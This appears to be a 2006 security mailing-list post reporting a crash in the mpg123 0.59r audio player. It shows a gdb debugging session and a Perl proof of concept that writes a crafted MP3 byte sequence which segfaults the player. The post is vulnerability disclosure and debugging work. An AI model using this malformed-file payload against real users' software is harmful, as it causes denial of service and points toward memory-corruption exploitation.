Hi !
I was listening a song ( http://www.genexx.org/nitrous/Belanova-Y.mp3 )
and mpg123 died.
I spent 4 hours trying to debug it on gdb, but I cannot really catch
that vulnerability ...
This is a little log, just for see the SIGSEGV:
nitrous_at_lsd:~/vulndev/mpg123fuck$ file Belanova-Y.mp3
Belanova-Y.mp3: MP3 file with ID3 version 2.3.0 tag
nitrous_at_lsd:~/vulndev/mpg123fuck$ ./mpg123 Belanova-Y.mp3
High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and 3.
Version 0.59r (1999/Jun/15). Written and copyrights by Michael Hipp.
Uses code from various people. See 'README' for more!
THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK!
Title : Y Artist: Belanova
Album : Cocktail Year : 2003
Comment: Genre : Blues
Playing MPEG stream from Belanova-Y.mp3 ...
Junk at the beginning 49443303
MPEG 2.0 layer III, 128 kbit/s, 24000 Hz joint-stereo
big_values too large!
mpg123: Can't rewind stream by 3341 bits!
Illegal Audio-MPEG-Header 0x00000000 at offset 0x32f.
Skipped 3513063 bytes in input.
Violación de segmento
nitrous_at_lsd:~/vulndev/mpg123fuck$ gdb -q ./mpg123
(gdb) r Belanova-Y.mp3
Starting program: /home/nitrous/vulndev/mpg123fuck/mpg123 Belanova-Y.mp3
High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and 3.
Version 0.59r (1999/Jun/15). Written and copyrights by Michael Hipp.
Uses code from various people. See 'README' for more!
THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK!
Title : Y Artist: Belanova
Album : Cocktail Year : 2003
Comment: Genre : Blues
Playing MPEG stream from Belanova-Y.mp3 ...
Junk at the beginning 49443303
MPEG 2.0 layer III, 128 kbit/s, 24000 Hz joint-stereo
big_values too large!
mpg123: Can't rewind stream by 3341 bits!
Illegal Audio-MPEG-Header 0x00000000 at offset 0x32f.
Skipped 3513063 bytes in input.
Program received signal SIGSEGV, Segmentation fault.
do_layer3 (fr=0x8077e39, outmode=-1129440371, ai=0xffffffff) at
layer3.c:1179
1179 register real bu = *--xr2,bd = *xr1;
(gdb) p bu
No symbol "bu" in current context.
(gdb) p xr2
No symbol "xr2" in current context.
(gdb) p xr1
No symbol "xr1" in current context.
(gdb) bt
#0 do_layer3 (fr=0x8077e39, outmode=-1129440371, ai=0xffffffff) at
layer3.c:1179
#1 0x0804a975 in play_frame (init=0, fr=0xffffffff) at mpg123.c:695
#2 0x0804372d in ?? ()
#3 0x00000000 in ?? ()
#4 0x080700c0 in curfile.5730 ()
#5 0xbfc06f6d in ?? ()
#6 0x08069435 in C.88.5890 ()
#7 0xb5a6c35c in ?? ()
#8 0xb6407f3b in ?? ()
#9 0x00000000 in ?? ()
#10 0x315e18f6 in ?? ()
#11 0x2da7efc4 in ?? ()
#12 0x00000000 in ?? ()
#13 0x00000000 in ?? ()
#14 0x2e1cf338 in ?? ()
#15 0x32284175 in ?? ()
#16 0x00000000 in ?? ()
#17 0xb7fd4917 in catanhl () from /lib/tls/i686/cmov/libm.so.6
Previous frame inner to this frame (corrupt stack?)
(gdb) p ai
$1 = (struct audio_info_struct *) 0xffffffff
(gdb) p *ai
Cannot access memory at address 0xffffffff
(gdb) p fr
$2 = (struct frame *) 0x8077e39
(gdb) q
The program is running. Exit anyway? (y or n) y
nitrous_at_lsd:~/vulndev/mpg123fuck$ cat tailedbyte
150927
nitrous_at_lsd:~/vulndev/mpg123fuck$ ./copy Belanova-Y.mp3 evilsong.mp3 2
-150927 150927
Bytes leidos: 150927
nitrous_at_lsd:~/vulndev/mpg123fuck$ file evilsong.mp3
evilsong.mp3: MPEG ADTS, layer III, v2, 128 kBits, 24 kHz, JntStereo
nitrous_at_lsd:~/vulndev/mpg123fuck$ gdb -q mpg123
(gdb) r evilsong.mp3
Starting program: /home/nitrous/vulndev/mpg123fuck/mpg123 evilsong.mp3
High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and 3.
Version 0.59r (1999/Jun/15). Written and copyrights by Michael Hipp.
Uses code from various people. See 'README' for more!
THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN RISK!
Title : Y Artist: Belanova
Album : Cocktail Year : 2003
Comment: Genre : Blues
Playing MPEG stream from evilsong.mp3 ...
MPEG 2.0 layer III, 128 kbit/s, 24000 Hz joint-stereo
Program received signal SIGSEGV, Segmentation fault.
0x080599f9 in do_layer3 (fr=0x8077e39, outmode=-1131931381,
ai=0xffffffff) at layer3.c:1179
1179 register real bu = *--xr2,bd = *xr1;
(gdb) bt
#0 0x080599f9 in do_layer3 (fr=0x8077e39, outmode=-1131931381,
ai=0xffffffff) at layer3.c:1179
#1 0x0804a975 in play_frame (init=1, fr=0xffffffff) at mpg123.c:695
#2 0x0804372d in ?? ()
#3 0x00000001 in ?? ()
#4 0x080700c0 in curfile.5730 ()
#5 0xbf9667e3 in ?? ()
#6 0x08069435 in C.88.5890 ()
#7 0xb5a04a63 in ?? ()
#8 0xb6390690 in ?? ()
#9 0x00000000 in ?? ()
#10 0x315e18f6 in ?? ()
#11 0x2da7efc4 in ?? ()
#12 0x00000000 in ?? ()
#13 0x00000000 in ?? ()
#14 0x2e1cf338 in ?? ()
#15 0x32284175 in ?? ()
#16 0x00000001 in ?? ()
#17 0xb7f3746c in modfl () from /lib/tls/i686/cmov/libm.so.6
Previous frame inner to this frame (corrupt stack?)
(gdb) i r
eax 0xbf95efe8 -1080692760
ecx 0xa8079c7c -1475896196
edx 0xe7 231
ebx 0xbf95c180 -1080704640
esp 0xbf959b60 0xbf959b60
ebp 0x279837f0 0x279837f0
esi 0xbf95c0b0 -1080704848
edi 0x1 1
eip 0x80599f9 0x80599f9
eflags 0x10286 66182
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/10i $eip
0x80599f9 <do_layer3+3241>: flds 0x18(%eax)
0x80599fc <do_layer3+3244>: fxch %st(6)
0x80599fe <do_layer3+3246>: fmuls (%esp)
0x8059a01 <do_layer3+3249>: flds 0x6c(%esp)
0x8059a05 <do_layer3+3253>: fmul %st(7),%st
0x8059a07 <do_layer3+3255>: fsubrp %st,%st(1)
0x8059a09 <do_layer3+3257>: fstps 0xffffffe4(%eax)
0x8059a0c <do_layer3+3260>: flds 0x34(%esp)
0x8059a10 <do_layer3+3264>: fmul %st,%st(6)
0x8059a12 <do_layer3+3266>: flds 0x30(%esp)
(gdb) x/20x $eax
0xbf95efe8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbf95eff8: 0x00000000 0x00000000 Cannot access memory at
address 0xbf95f000
I don't know what kind of vulnerability is it... And why I can't see the
variables: register real bu = *--xr2,bd = *xr1 in gdb??
The line 1179 register real bu = *--xr2,bd = *xr1; is not
part of do_layer3() function :S ...
It's strange for me...
Whatever.. I wrote a poc for this threat:
http://www.genexx.org/nitrous/code/PoCs/mpg1DoS3
#!/usr/bin/perl
#
# Affected product: mpg123-0.59r - http://mpg123.de
#
# I'm not sure what kind of vulnerability is it, but the program
# receives a SIGSEGV when I play it. My gdb skillz r p00r, but
# anybody with more experience than me can find the *real* bug.
#
# $./mpg1DoS3 0 | mpg123 -
# (- switch tells mpg123 to play from stdin)
# $./mpg1DoS3 1 evil.mp3
# $mpg123 ./evil.mp3
#
# Regards.
# Nitrous
# Vulnfact Security Group - http://www.vulnfact.com
my $evilsong =
"\xff\xf2\xc5\x53\xff\xff\xa1\xe2\x41\x41\xad\x9b\xfb\x3f".
"\xdc\xe0\x38\x4c\x7f\xff\x6f\xe7\x0c\x0f\xc3\x3f\x7f\xef".
"\x9a\xa8\x3e\x00\xaa\xe6\x82\xc3\xe8\x65\x7f\xf1\x39\x25".
"\x24\xec\x43\xe6\x12\x44\xb9\xd5\x7a\x2a\x26\xce\xff\xeb".
"\xea\xc7\x2c\xde\x9b\xee\xba\x5a\xe7\x0b\x9d\x14\xef\xe7".
"\x6b\xf5\xa2\xb0\x5c\x4b\x23\xff\xff\xe4\xc2\x53\xff\xff".
"\xad\x21\x27\x0d\x84\xd2\x7d\x1e\xad\x5e\x96\x62\x54\x32".
"\x85\x89\x24\x93\xed\xf3\xac\xd4\x94\xea\x58\x54\xca\x29".
"\x1d\x7d\x7e\xd3\x34\x7e\xb4\x44\x24\x6a\x25\xde\xff\xed".
"\x57\x9d\x2e\x94\xcb\xe3\xd5\x48\x96\x74\x5b\xf7\xd6\x74".
"\x84\xfc\x9a\xc0\x79\x75\x7a\x1e\x31\x1f\x9f\x9f\x11\x94".
"\xd1\x2c\x48\xfe\x5d\x58\xd1\x9f\x2b\x25\x2a\xff\xff\xd0".
"\x15\x48\x1f\xff\xfe\x83\x21\xcf\xff\xff\x52\x61\x18\x6a".
"\xdf\xff\xfa\x90\x11\x01\x59\x37\xfd\x13\xf5\x3c\x7e\x58".
"\x71\xe8\x67\xd1\x0e\xcd\xee\x80\xb4\x35\x2a\x4b\x4f\xff".
"\xf8\xb0\x03\x82\x1c\xf3\x87\x5f\x6e\xf9\x9a\xdc\x5e\x49".
"\x51\xc6\xe0\x15\x04\xca\x49\x14\x0d\x90\x25\x0a\x54\x04".
"\x3c\xc0\x57\x3c\x8a\x7a\x56\x1c\x42\xf2\x47\x47\xb0\x1c".
"\x67\xff\xff\xac\xc1\x17\xff\xff\xea\x19\x89\x63\x4f\xff".
"\xf5\x2e\x91\x04\x59\x93\x93\xff\xf7\xd5\xb9\x28\x46\x20".
"\x9e\xd5\xef\xad\x6d\xb6\x98\x6c\x96\xac\xf3\xd6\x8e\xdc".
"\xc1\x5a\x1a\x8d\x02\x67\x1e\xc3\xc9\xfe\xbf\xfe\x89\xc1".
"\xf4\x79\x98\x4e\x33\x8b\xc8\x00\x41\x54\x94\x8c\x06\xc2".
"\x69\x58\x8a\x04\xc1\x76\x2f\x67\x6c\x09\x0e\xff\xfb\x92".
"\x60\xb9\x00\x02\x6d\x67\x56\xe1\xe7\x3b\x68\x63\x2c\xea".
"\xdd\x60\xed\x6d\x0a\x65\x9d\x5d\x87\xb5\x4d\xa1\x71\x2f".
"\xab\x74\xf5\x35\xb4\xd4\xce\xb6\x76\x7f\x73\x44\x16\xb5".
"\x35\x01\x59\xbf\xff\xfa\x01\xa4\xd7\xff\xff\xe7\x96\x7f".
"\xff\xfe\xa5\x89\x85\xbf\xff\xff\x3c\x7c\x21\x1f\xff\x7f".
"\xf3\x4f\x63\x3f\x6e\x3f\x9a\x9b\x9a\x54\x1d\x02\x52\x32".
"\xec\x7e\xad\xd3\xfd\x09\x82\xd8\x82\x38\xb8\xa0\xde\xf6".
"\xd3\xde\x23\xa0\x0a\x51\xb8\xc0\x61\xc6\xe5\x20\x02\x48".
"\x51\x9c\xa7\x94\xd7\xda\xfc\x4e\x7a\xea\x0b\x19\x84\xd6".
"\xca\x8d\x01\xbb\x5f\xab\xff\xf2\xa1\xe6\x7f\xff\xff\xa8".
"\xc8\x4b\x0b\x1b\xff\xf7\x5a\xa8\x0c\x18\x54\x44\x45\xbf".
"\xff\xe8\x06\x81\x81\x37\x45\x5f\xf4\x3d\xf8\x37\x0d\x12".
"\x47\xff\x32\x6f\xcc\x87\xa2\x49";
sub usage
{
print "###################################################\n";
print "#### mpg123 DoS Proof of Concept ####\n";
print "###### nitrous<at>conthackto<dot>com<dot>mx ######\n";
print "###################################################\n\n";
print "Usage: $0 <mode> [evil.mp3]\n";
print "\tmodes: [0 (stdout) | 1 (file)]\n";
exit;
}
if(@ARGV < 1){
usage;
}
if($ARGV[0] == 0){
print $evilsong;
}
elsif($ARGV[0] == 1){
if(!$ARGV[1]){
print "Filename required !\n\n";
usage;
}
open(EV1L, ">$ARGV[1]") or die "Cannot create \"$ARGV[1]\"\n";
print EV1L $evilsong;
close(EV1L);
print "Ready !\nNow just type \$mpg123 $ARGV[1]\n";
}
else{
print "Invalid Mode !\n\n";
usage;
}
Received on Apr 03 2006